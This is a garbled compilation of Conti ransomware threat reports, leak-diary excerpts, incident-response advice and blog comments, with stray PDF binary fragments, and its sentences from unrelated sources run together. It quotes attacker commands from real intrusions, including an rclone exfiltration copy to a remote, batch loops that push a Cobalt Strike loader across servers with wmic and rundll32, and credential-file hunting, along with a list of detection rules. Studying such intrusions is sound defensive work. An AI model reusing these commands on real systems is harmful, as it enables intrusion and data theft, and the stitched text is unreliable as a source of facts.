Or they could use more advanced tools such as Cobalt Strike, a legitimate post-exploitation pen-testing tool. Its not a conspiracy. The attackers have most likely been on your network for a few days or even weeks. A WP blog with an active comment section should not be so heavily cached. hb```"66 Two days later, the Cobalt Strike Beacon on the domain controller was once again actively engaged by the threat actors. , hackers use genuine remote monitoring and management software and remote desktop software as backdoors. ]txt, Solutions for ISAC, ISAO, and CERT Members. Some attackers also apply emotional pressures, with direct employee appeals and threats over email and phone. Michael is a Managed Threat Research Security Analyst. 5. There are thoousands of ex military in Russia with the right skills and the willingness to do the job. Save my name, email, and website in this browser for the next time I comment. Stay ahead of threats with our cyber fusion solutions for threat
Conti and Karma actors attack healthcare provider at same time through Required fields are marked *. Forum post from . rclone.exe copy \\
\ remote: -q ignore-existing auto-confirm multi-thread-streams 12 transfers 12 The group operates as Ransomware-as-a-Service (RaaS) and is believed to have a Russian-speaking background. Certutil was used to download and load the Trickbot DLL into memory. Let me know what you can do. He works with an expert team of threat hunters to help organizations targeted by cyberthreats to investigate, contain and neutralize attacks. Almost four hours after initial execution, the threat actors pivoted to a domain controller using domain admin credentials and executed a Cobalt Strike Beacon. Next, the attacker executed a batch script, copy_files_srv.bat, to deploy the Cobalt Strike loader, doc.dll, on the target servers listed in srv.txt: for /f %%i in (srv.txt) do copy C:\ProgramData\doc.dll \\%%i\c$\ProgramData\doc.dll. The initial connection to the C2 server is to a page named Menus.aspx on the server; That page delivers the next payload, which the first one loads into memory another Cobalt Strike shellcode loader that contains the reflective DLL loader instructions. Cobalt Strike [7], is a legitimate commercial tool often used by red teams to provide a post-exploitation implant, named . Learn more: https://www.boldgrid.com/w3-total-cache/ But stolen or ill-gotten Coba licenses are frequently abused by cybercriminal gangs to help lay the groundwork for the installation of ransomware on a victim network. This report will go through an intrusion that went from an Excel file to domain wide ransomware. This document and the following DLL were noted as being associated to a BazarCall campaign by @ffforward. The same batch file, 12.bat, was first executed in the context of SYSTEM; and secondly, in the context of a domain admin user. Through social engineering, the spam campaigns ensure that executives and employees open those emails, and the Cobalt Strike beacons are executed. More information on this service and others can be foundhere. The data ranged from host discovery, running processes, and user accounts: Entire AD forest data including usernames , DC configuration, and machine enumeration: When, the threat actors returned two days later, the final payloads were staged by the threat actors on a domain controller in the following location: Two batch scripts were executed on the domain controller to automate ransomware deployment via PSExec. Police salaries in Russia are not exhorbitant and corruption is endemic. Even though most of the techniques arent new or advanced, they have proven to be effective. Get the Free Hunt Packages! Unit 42 incident responders have participated in 15 cases involving Royal ransomware in the last 9 months. Talos has a team of dedicated, native-level speakers that translated these documents in their entirety into English. They will have scanned your network. Organizations are recommended to track externally exposed endpoints to mitigate VPN compromise and TrickBot delivery. Very similar attacks that we see from Q Anon believers. If that works successfully, the malware then contacts the 312-s-fourth-st.html page on the same C2 server. His areas of interest involves - understanding ransomware behavior, dissect malware by doing deep dive analysis and provide dynamic protection, not limited to ransomware. Besides Atera, the group sometimes uses a cross-platform application, Ngrok, to create a tunnel to the local host for the exfiltration of data without raising any flags. Reviewed by @RoxpinTeddy and 1 unnamed contributor. This is a technique that we dont see very often, but effective nevertheless. We have observed the same techniques in other intrusions and understanding these techniques will allow defenders to disrupt such intrusion activity and deny it in their own networks. Possible initial access methods for Conti ransomware include, but are not limited to vulnerable firewalls, exposed RDP (Remote Desktop Protocol) services, and phishing user credentials via spam emails. 1997 - 2023 Sophos Ltd. All rights reserved, What to expect when youve been hit with Conti ransomware, What to expect when youve been hit with Avaddon ransomware, Docns[. This information includes the IP addresses for Cobalt Strike C2 servers and a 113 MB archive containing numerous tools and training material for conducting ransomware attacks. Conti ransomware has recently been brought back into the spotlight due to its attack on Ireland's national health . Along with honing the skills for the double extortion scheme, the Conti group mastered a methodology to remove backups as well which restricts a victims ability to restore the encrypted/stolen data. the latest industry reports, security trends, and more. This is why most targeted ransomware attacks are launched in the middle of the night, over a weekend or on a holiday, when fewer people are watching. But in a company run by crooks, trust doesnt come easily. Conti Ransomware Group Diaries, Part III: Weaponry Moreover, the group is still at large and expected to continue its operations. Conti attackers often use tools like Mimikatz, which can capture information from a running Microsoft LSASS.exe process that contains usernames/password hashes of currently logged on users. Theyll be critical in getting you back on your feet. blogs. Its more that he repeats what others are saying as if he is coming up with it. "Ordinary" cyber intelligence in February included zero-day vulnerabilities in Zimbra, Chrome, Apple OS and Adobe Commerce/Magento. C:\Programdata\sys.dll entryPoint. ZK3M\;Qb`Rq 1W IrTN+* >.O*s:k= p%~3h)_xV
.! The profile serves as a sort of homage to an incident in which security researchers attending a conference found an insect in a milkshake at a restaurant outside the conference center. The execution took place from the beachhead using WMIC. An indication that the threat actors were keeping C2 channels independent from payload delivery/retrieval. 10. Conti's attacks are initiated through spam messages with direct Cobal Strike beacon backdoor delivery. Collection began as well on December 1, with the creation of .RAR archives of data on multiple systems. A couple days later, the threat actors came back and executed Conti ransomware across the domain. browsers ability to accept cookies and how they are set. This was the last observed hands-on-keyboard activity for awhile. The Conti Ransomware group is a notorious and active ransomware gang that has successfully pulled multi-million . The initial access point for the attack was eventually determined to be a FortiGate firewall running vulnerable firmware, version 5.6.3 build 1547(GA). It then uses a remote management agent known as. (RDP) credentials, phone calls, fake software promoted via search engine optimization, malware distribution networks (e.g.. ), and exploiting common vulnerabilities that exist in external assets. If you liked this story, check out Part IV: Cryptocrime, which explores different schemes that Conti pursued to invest in and steal cryptocurrencies. For more Within the first 45 minutes Rapid Response was under contract, before even having the kickoff call to walk the customer through the service, the Rapid Response team had: In the 45 minutes following the kickoff call, the Rapid Response team also built a list of all the data exfiltrated by the attacker. The backdoors come in a variety of forms. These comments are there but they are still not always visible for for up to 24 hours because the entire page is cached from a previous version. In late May, Trend Micro Managed XDR alerted a customer to a noteworthy Vision One alert on one of their endpoints. In this intrusion, we observed a number of interesting techniques being leveraged by the threat actors. Many of the Conti group live in Russia which is so corrupt that any and all information is available for the right price. Even if RDP is disabled by default, it is very easy for an attacker with admin access to the machine to re-enable it. A chat between Conti upper manager Reshaev and subordinate Pin on Aug. 8, 2021 shows Reshaev ordering Pin to quietly check on the activity of the Conti network administrators once a week to ensure theyre not doing anything to undermine the integrity or security of the groups operation. Part II explored what its like to be an employee of Contis sprawling organization. RedCanary provided useful background on GetSystem capabilities of offensive security tools and methods of detection. 1997 - 2023 Sophos Ltd. All rights reserved, five early indicators an attacker is present, What to expect when youve been hit with Avaddon ransomware, Monitor your network security 24/7 and be aware of the, Shut down internet-facing remote desktop protocol (RDP) to deny cybercriminals access to networks. The attackers will have tried to identify what security solution is used on the network and whether they can disable it. Russia is the worlds largest exporter of decryptors. But politics is certainly divisive enough. Companies avoid reporting all kinds of breaches. The Conti team also had decent working relationships with multiple people who worked at companies that helped ransomware victims navigate paying an extortion demand in virtual currency. Victims who failed to negotiate a payment before the timer expired could expect to see their internal data automatically published on Contis victim shaming blog. 01:32 PM. Experts also recommend implementing special security protocols, password updates along with account-security actions for Veeam to stop the account takeover of Veeam. So it makes sense that one of Contis criminals takes the name Trump. placement and use of cookies. Jesus Christ, get over it and take your political hot garbage elsewhere. But it will be published if you do not go to the negotiations., We came to an agreement before the New Year, Conti member Skippy wrote later in a message to the victim company. Multiple failed attempts were observed prior to the successful execution of a PowerShell Cobalt Strike loader via a service with SYSTEM privileges. If you suspect it is, and you dont have the tools in place to stop it, determine which devices have been impacted and isolate them immediately. Source of the page: Over the next six hours, the attacker deployed a Cobalt Strike beacon on one of the servers and began running commands to gather a list of domain admin accounts: cmd.exe /C nltest /dclist:[target company name] Then, the attacker executed another batch script, wm_start.bat, to run the Cobalt Strike loader on each server listed in srv.txt via rundll32.exe and initiate the beacon: for /f %%i in (srv.txt) do wmic /node: %%i process call create rundll32.exe C:\Programdata\doc.dll entryPoint. Another common legitimate tool used is AnyDesk. If Mimikatz is blocked by security software, the attackers may instead use something like Microsoft Process Monitor to do a memory dump of LSASS.exe and take that dump file back to their machine to extract the information with Mimikatz. Install EDR on every computer (for example, Sentinel, Cylance, CrowdStrike); set up more complex storage system; protect LSAS dump on all computers; have only 1 active accounts; install latest security updates; install firewall on all network.. Cisco Talos recently became aware of a leaked playbook that has been attributed to the ransomware-as-a-service (RaaS) group Conti. Sounds like you would storm into a non-existent pizzeria basement. At some point earlier this year, W3TC memcached was turned on. It doesnt make sense that this industry is permitted to thrive. The board is willing to go to a maximum of $1KK, which is what I provided to you. Doesnt that make decryption simple? Save my name, email, and website in this browser for the next time I comment. Russian kleptocrats love Trump and Trump loves them. And Trump supporters are still bitching about Clinton after all. Required fields are marked *. For example, they could simply login to an online email service and email it somewhere or use a cloud storage provider like DropBox. Analysis of this binary, shows C2 activity to the following: The binary has an unusual PDB string that indicates obfuscation: The two persistent C2 channels were analyzed to determinethe Cobalt Strike configuration. The batch scripts ran as expected a set of copy commands and then executed the Conti payload using psexec. So it will be better for both sides if you contact us as soon as possible.. According to the Sophos Rapid Response team, this is what you need to expect from Conti ransomware activity on your network: 1. The artifacts leaked with the playbook revealed four Cobalt Strike server Internet Protocol (IP) addresses used by Conti for communication with their C2 server. The malware has to perform two cycles of decryption on itself in order to perform those functions. This is not a large organization. automation. Likewise, Contis Human Resources Department budgeted thousands of dollars each month toward employer subscriptions to numerous job-hunting websites, where Conti HR employees would sift through resumes for potential hires. But it doesnt appear that the Conti attackers have modified this sample script very much, which makes the C2 communication notable in two ways: The script designates certain characteristics used during this phase of the attack, including a User-Agent string (Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)) that mimics that of a computer running Windows 7 but, distinctively, fails to identify the specific browser; and a static URI path (/us/ky/louisville/312-s-fourth-st.html) that includes the address of the infamous restaurant where the researcher discovered the bug in their shake. Another organizational unit within Conti with its own budget allocations called the Reversers was responsible for finding and exploiting new security vulnerabilities in widely used hardware, software and cloud-based services. An encrypted Windows endpoint will have tens or hundreds of thousands of encrypted files by the time the ransomware is done. If you need access to RDP, put it behind a VPN connection and enforce the use of Multi-Factor Authentication (MFA), Educate employees on what to look out for in terms pf phishing and malicious spam and introduce robust security policies, Keep regular backups of your most important and current data on an offline storage device. Stay updated on the security threat landscape and technology I guess the gangs increased activity is to show that they are alive and well without that random programmer? But we were able to salvage some of the in-memory code from infected computers where the malware was still running. Your email address will not be published. Conti Ransomware Group Diaries, Part III: Weaponry, to be an employee of Contis sprawling organization, Conti Ransomware Group Diaries, Part IV: Cryptocrime, https://blog.segu-info.com.ar/2022/03/diarios-del-grupo-ransomware-conti-iii.html, Barracuda Urges Replacing Not Patching Its Email Security Gateways, Service Rents Email Addresses for Account Signups, Ask Fitis, the Bear: Real Crooks Sign Their Malware, Discord Admins Hacked by Malicious Bookmarks, Phishing Domains Tanked After Meta Sued Freenom, Sextortion Scam Uses Recipient's Hacked Passwords, Online Cheating Site AshleyMadison Hacked, Sources: Target Investigating Data Breach, Trump Fires Security Chief Christopher Krebs, Why Paper Receipts are Money at the Drive-Thru, Cards Stolen in Target Breach Flood Underground Markets, Reports: Liberty Reserve Founder Arrested, Site Shuttered, DDoS-Guard To Forfeit Internet Space Occupied by Parler, True Goodbye: 'Using TrueCrypt Is Not Secure'. If the damage is more widespread than a few devices, consider doing this at the switch level and taking entire network segments offline instead of individual devices. FBI identifies 16 Conti ransomware attacks striking US - ZDNET Trend Micro Vision One: Tracking Conti Ransomware Ive been working here for more than 15 years and havent seen anything else.. Over the course of the intrusion, the Conti affiliates installed no fewer than seven back doors on the network: two web shells, Cobalt Strike, and four commercial remote access tools (AnyDesk, Atera, Splashtop and Remote Utilities). We have removed it to avoid confusion. It is unclear if this was an untrained actor, or there was a configuration issue. For large fileservers this could run into the millions. According to the FBI, the group may also use Cobalt Strike, Mimikatz, Emotet, and . It appears $30,000 of that investment went to cover the actual cost of a Cobalt Strike license, while the other half was paid to a legitimate company that secretly purchased the license on Contis behalf. Some attackers, including Conti, also set up Tor proxies so they can send command-and-control traffic over the Tor network. The attacker also executed a batch script, cp.bat, to search for user credentials by copying all XLSX files with the string pas in the filename. Moreover, the group makes use of other techniques as well, such as stolen or weak. He has also been something of a nomad, moving far too often, and living in Montreal and Osaka. Analysis of COBALT STRIKE From IcedID to Cobalt Strike: Conti Ransomware Affiliates technology partners to fit your security needs. 5. Ransomware, hacking groups move from Cobalt Strike to Brute Ratel Then its a simple matter of sending the right people to their homes to persuade them to cease and desist. In less than 24 hours after Rapid Response was engaged, most of the customers critical infrastructure was able to restart normal operation, and within 48 hours, the team confirmed the initial access point of the attack. In October 2021, Conti underling Bloodrush told his manager Bentley that the group urgently needed to purchase subscriptions to Crunchbase Pro and Zoominfo, noting that the services provide detailed information on millions of companies, such as how much insurance a company maintains; their latest earnings estimates; and contact information of executive officers and board members. Believed active since mid-2020, Conti is a big game hunter ransomware threat operated by a threat group identified as Wizard Spider and offer to affiliates as a ransomware-as-a-service (RaaS) offering. Two cyber security firms have jointly unveiled details about an unnamed affiliate of the Conti ransomware gang, which they claim has used Cobalt Strike infrastructure to attack seven US-based . Not sure if this was intentional to prevent Layer 7 DOS attacks on the site, or if Brian is aware that comments are also cached. Seems like you are preparing to break the agreement and flee, or just to decrease the sum. Sites like. Threat Assessment: Royal Ransomware - Unit 42 (in which hackers demanded a whopping $40 million), and many more. After the actors steal and encrypt the victims sensitive data, they use the double extortion technique to demand ransom for the release of the encrypted data and further threaten the victim to publically leak data if the ransom is not paid. This isnt unusual; It means that it can begin encrypting files even if the malware is unable to contact its C2. Some of the more valuable data is often sold to other attackers to use in further attacks. We want to inform that your company local network have been hacked and encrypted. First, the attacker deployed a Cobalt Strike beacon to a fourth server as a test: cmd.exe /C wmic /node: process call create rundll32.exe C:\Programdata\doc.dll entryPoint. Seems inevitable that Conti and many other Russian based ransomware gangs will be sanctioned by the US government and NATO allies. Need decryptors. The attacker may also wait until you recover to then launch a second attack to really emphasize that they can keep doing this until you pay. That was his first comment here, yes. Using the backdoors they set up during the preparation stage, the attackers will often continue to monitor the situation and even your email communications to see how you respond. Despite how clever this is, Sophos Intercept X technology would still have no problem stopping it.. Ransomware is deployed like a normal application; in most attacks it doesnt spread randomly in all directions. how they can help your organization. Some just communicate back to the attackers IP address, allowing them to send and receive commands to the machine. to notice and prevent the lengthy process of file encryption, possibly during the middle of the night or during the weekend. Their default accusation seems to be to call someone a pedo. AdFind.exe and adf.bat were uploaded to the beachhead. 3. The threat actors used BazarCall to install Trickbot in the environment which downloaded and executed a Cobalt Strike Beacon. Translated: Talos' insights from the recently leaked Conti ransomware Malicious Word attachments often contain embedded scripts that can be used to download or drop other malwaresuch as TrickBot and IcedID, and/or Cobalt Striketo assist with lateral movement and later stages of the attack life cycle with the eventual goal of deploying Conti ransomware. 1233 0 obj
<>stream
You check on me all the time, dont you trust me?, asked mid-level Conti member Bio of Tramp (a.k.a. Ukraine will rise!, the account tweeted. This is usually undertaken to identify the compromised environment, and to facilitate C2. Oh well. endstream
endobj
1158 0 obj
<. The workbook contained hidden and password protected worksheets, these were malicious. According to a note on the Conti leak site, the ransom demand was initially $10 million and then increased to $20 million when Costa Rica refused . On your computer screen there is a message telling you that your systems and data have been encrypted with Conti ransomware and you need to pay a ransom for the attackers to decrypt compromised files and delete stolen information. The standard recommendation for backups is to follow the 3-2-1 method: 3 copies of the data, using 2 different systems, 1 of which is offline, Prevent attackers from getting access to and disabling your security: choose an advanced solution with a cloud-hosted management console with multi-factor authentication enabled and Role Based Administration to limit access rights, Remember, there is no single silver bullet for protection, and a, Have an effective incident response plan in place and update it as needed. Moaning about trump 14 months after he left office isnt the same as moaning about Bush after 14 years. Its a commented out note from W3 Total Cache. This article refers to 91[.]199[.]212[. At approximately 1:00 am local time on day 4, the attacker used batch scripts to loop through those lists of devices in order to copy Cobalt Strike loaders onto a total of nearly 300 endpoints and servers. The ransomware process is not particularly unique, but it does reveal the ransomware creators ongoing interest in thwarting analysis by security researchers. Worse is when he repeats what someone else said as if fixing it. Even though the execution was not successful, the threat actors kept trying, a total of eight times, until it finally worked. Conti is a human-operated double extortion ransomware that steals and threatens to expose information as well as encrypting it. The initial access was achieved as a result of the user opening what appeared to be a benign workbook, a lure, requiring little user interaction. Code Injection https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/rules/windows/powershell/powershell_code_injection.ymlBad Opsec Powershell Code Artifacts https://github.com/SigmaHQ/sigma/blob/5e35e387dd0dcdd564db7077da3470fbc070b975/rules/windows/powershell/powershell_bad_opsec_artifacts.ymlCobaltStrike Service Installations https://github.com/SigmaHQ/sigma/blob/b26eece20d4c19b202185a6dce86aff147e92d0f/rules/windows/builtin/win_cobaltstrike_service_installs.ymlCreateMiniDump Hacktool https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/rules/windows/process_creation/win_hktl_createminidump.ymlDomain Trust Discovery https://github.com/SigmaHQ/sigma/blob/99b0d32cec5746c8f9a79ddbbeb53391cef326ba/rules/windows/process_creation/win_trust_discovery.ymlDridex Process Pattern https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_malware_dridex.ymlEmpire PowerShell Launch Parameters https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_empire_launch.ymlExecution from Suspicious Folder https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_execution_path.ymlInvocation of Active Directory Diagnostic Tool (ntdsutil.exe) https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_ntdsutil.ymlLocal Accounts Discovery https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_local_system_owner_account_discovery.ymlLSASS Memory Dump https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/process_access/sysmon_lsass_memdump.ymlLSASS Memory Dump File Creation https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/file_event/sysmon_lsass_memory_dump_file_creation.ymlLSASS Memory Dumping https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_lsass_dump.ymlMalicious Base64 Encoded PowerShell Keywords in Command Lines https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_hidden_b64_cmd.ymlMalicious PowerShell Commandlets https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/powershell/powershell_malicious_commandlets.ymlMimikatz Detection LSASS Access https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/deprecated/sysmon_mimikatz_detection_lsass.ymlNet.exe Execution https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_net_execution.ymlNon Interactive PowerShell https://github.com/SigmaHQ/sigma/blob/1425ede905514b7dbf3c457561aaf2ff27274724/rules/windows/process_creation/win_non_interactive_powershell.ymlPowerShell as a Service in Registry https://github.com/SigmaHQ/sigma/blob/a80c29a7c2e2e500a1a532db2a2a8bd69bd4a63d/rules/windows/registry_event/sysmon_powershell_as_service.ymlPowerShell Download from URL https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_powershell_download.ymlPowerShell Execution https://github.com/SigmaHQ/sigma/blob/8aabb58eca06cc44ae21ae4d091793d8c5ca6a23/rules/windows/image_load/sysmon_powershell_execution_moduleload.ymlPowerShell Network Connections https://github.com/SigmaHQ/sigma/blob/c91eda766032b14eee60412a14875f91664e670f/rules/windows/network_connection/sysmon_powershell_network_connection.ymlPowerShell Scripts Installed as Services https://github.com/SigmaHQ/sigma/blob/a80c29a7c2e2e500a1a532db2a2a8bd69bd4a63d/rules/windows/builtin/win_powershell_script_installed_as_service.ymlPsexec Accepteula Condition https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_psexec_eula.ymlPsExec Tool Execution https://github.com/SigmaHQ/sigma/blob/ea430c8823803b9026a4e6e2ea7365dc5d96f385/rules/windows/other/win_tool_psexec.ymlRare Service Installs https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/builtin/win_rare_service_installs.ymlRegsvr32 Anomaly https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_regsvr32_anomalies.ymlRundll32 Internet Connection https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/network_connection/sysmon_rundll32_net_connections.ymlSuspicious AdFind Execution https://github.com/SigmaHQ/sigma/blob/30bee7204cc1b98a47635ed8e52f44fdf776c602/rules/windows/process_creation/win_susp_adfind.ymlSuspicious Encoded PowerShell Command Line https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_enc_cmd.ymlSuspicious In-Memory Module Execution https://github.com/SigmaHQ/sigma/blob/5cf7078fb3d61f2c15b01d9426f07f9197dd3db1/rules/windows/process_access/sysmon_in_memory_assembly_execution.ymlSuspicious PowerShell Parent Process https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_parent_process.ymlSuspicious Remote Thread Created https://github.com/SigmaHQ/sigma/blob/e7d9f1b4279a235406b61cc9c16fde9d7ab5e3ba/rules/windows/create_remote_thread/sysmon_suspicious_remote_thread.ymlSuspicious Use of Procdump https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_procdump.ymlSuspicious Use of Procdump on LSASS https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_procdump_lsass.ymlSuspicious WMI Execution https://github.com/SigmaHQ/sigma/blob/5e701a2bcb353338854c8ab47de616fe7e0e56ff/rules/windows/process_creation/win_susp_wmi_execution.ymlTrickbot Malware Recon Activity https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_malware_trickbot_recon_activity.ymlUNC2452 Process Creation Patterns https://github.com/SigmaHQ/sigma/blob/e7d9f1b4279a235406b61cc9c16fde9d7ab5e3ba/rules/windows/process_creation/win_apt_unc2452_cmds.ymlUsage of Sysinternals Tools https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/registry_event/sysmon_sysinternals_eula_accepted.ymlWhoami Execution https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_whoami.ymlWindows Network Enumeration https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_net_enum.ymlWindows PowerShell Web Request https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/powershell/win_powershell_web_request.yml, Phishing: Spearphishing Attachment T1566.001Signed Binary Proxy Execution: Regsvr32 T1218.010Impair Defenses: Disable or Modify Tools T1562.001Domain Trust Discovery T1482OS Credential Dumping: LSASS Memory T1003.001System Owner/User Discovery T1033Command and Scripting Interpreter: PowerShell T1059.001Data Staged: Local Data Staging T1074.001System Information Discovery T1082Account Discovery: Local Account T1087.001Account Discovery: Domain Account T1087.002OS Credential Dumping: NTDS T1003.003Windows Management Instrumentation T1047Browser Bookmark Discovery T1217Data Encrypted for Impact T1486Remote Services: SMB/Windows Admin Shares T1021.002, AdFind S0552BloodHound S0521Cobalt Strike S0154Systeminfo S0096Net S0039Nltest S0359Esentutl S0404PsExec S0029Cmd S0106, TrickBot Malware Alert (AA21-076A), US CERT https://us-cert.cisa.gov/ncas/alerts/aa21-076a, Advisory: Trickbot, NCSC https://www.ncsc.gov.uk/news/trickbot-advisory, Trickbot Still Alive and Well, The DFIR Report https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/, Hunting for GetSystem in offensive security tools, RedCanaryhttps://redcanary.com/blog/getsystem-offsec/, TrickBot Banking Trojan, ThreatPost https://threatpost.com/trickbot-banking-trojan-module/167521/, https://github.com/mattnotmax/cyberchef-recipes#recipe-28de-obfuscation-of-cobalt-strike-beacon-using-conditional-jumps-to-obtain-shellcode, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/sysmon_abusing_debug_privilege.yml, https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/rules/windows/powershell/powershell_code_injection.yml, https://github.com/SigmaHQ/sigma/blob/5e35e387dd0dcdd564db7077da3470fbc070b975/rules/windows/powershell/powershell_bad_opsec_artifacts.yml, https://github.com/SigmaHQ/sigma/blob/b26eece20d4c19b202185a6dce86aff147e92d0f/rules/windows/builtin/win_cobaltstrike_service_installs.yml, https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/rules/windows/process_creation/win_hktl_createminidump.yml, https://github.com/SigmaHQ/sigma/blob/99b0d32cec5746c8f9a79ddbbeb53391cef326ba/rules/windows/process_creation/win_trust_discovery.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_malware_dridex.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_empire_launch.ym, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_execution_path.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_ntdsutil.yml, https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_local_system_owner_account_discovery.yml, https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/process_access/sysmon_lsass_memdump.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/file_event/sysmon_lsass_memory_dump_file_creation.yml, https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_lsass_dump.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_hidden_b64_cmd.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/powershell/powershell_malicious_commandlets.yml, https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/deprecated/sysmon_mimikatz_detection_lsass.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_net_execution.yml, https://github.com/SigmaHQ/sigma/blob/1425ede905514b7dbf3c457561aaf2ff27274724/rules/windows/process_creation/win_non_interactive_powershell.yml, https://github.com/SigmaHQ/sigma/blob/a80c29a7c2e2e500a1a532db2a2a8bd69bd4a63d/rules/windows/registry_event/sysmon_powershell_as_service.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_powershell_download.yml, https://github.com/SigmaHQ/sigma/blob/8aabb58eca06cc44ae21ae4d091793d8c5ca6a23/rules/windows/image_load/sysmon_powershell_execution_moduleload.yml, https://github.com/SigmaHQ/sigma/blob/c91eda766032b14eee60412a14875f91664e670f/rules/windows/network_connection/sysmon_powershell_network_connection.yml, https://github.com/SigmaHQ/sigma/blob/a80c29a7c2e2e500a1a532db2a2a8bd69bd4a63d/rules/windows/builtin/win_powershell_script_installed_as_service.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_psexec_eula.yml, https://github.com/SigmaHQ/sigma/blob/ea430c8823803b9026a4e6e2ea7365dc5d96f385/rules/windows/other/win_tool_psexec.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/builtin/win_rare_service_installs.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_regsvr32_anomalies.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/network_connection/sysmon_rundll32_net_connections.yml, https://github.com/SigmaHQ/sigma/blob/30bee7204cc1b98a47635ed8e52f44fdf776c602/rules/windows/process_creation/win_susp_adfind.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_enc_cmd.yml, https://github.com/SigmaHQ/sigma/blob/5cf7078fb3d61f2c15b01d9426f07f9197dd3db1/rules/windows/process_access/sysmon_in_memory_assembly_execution.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_parent_process.yml, 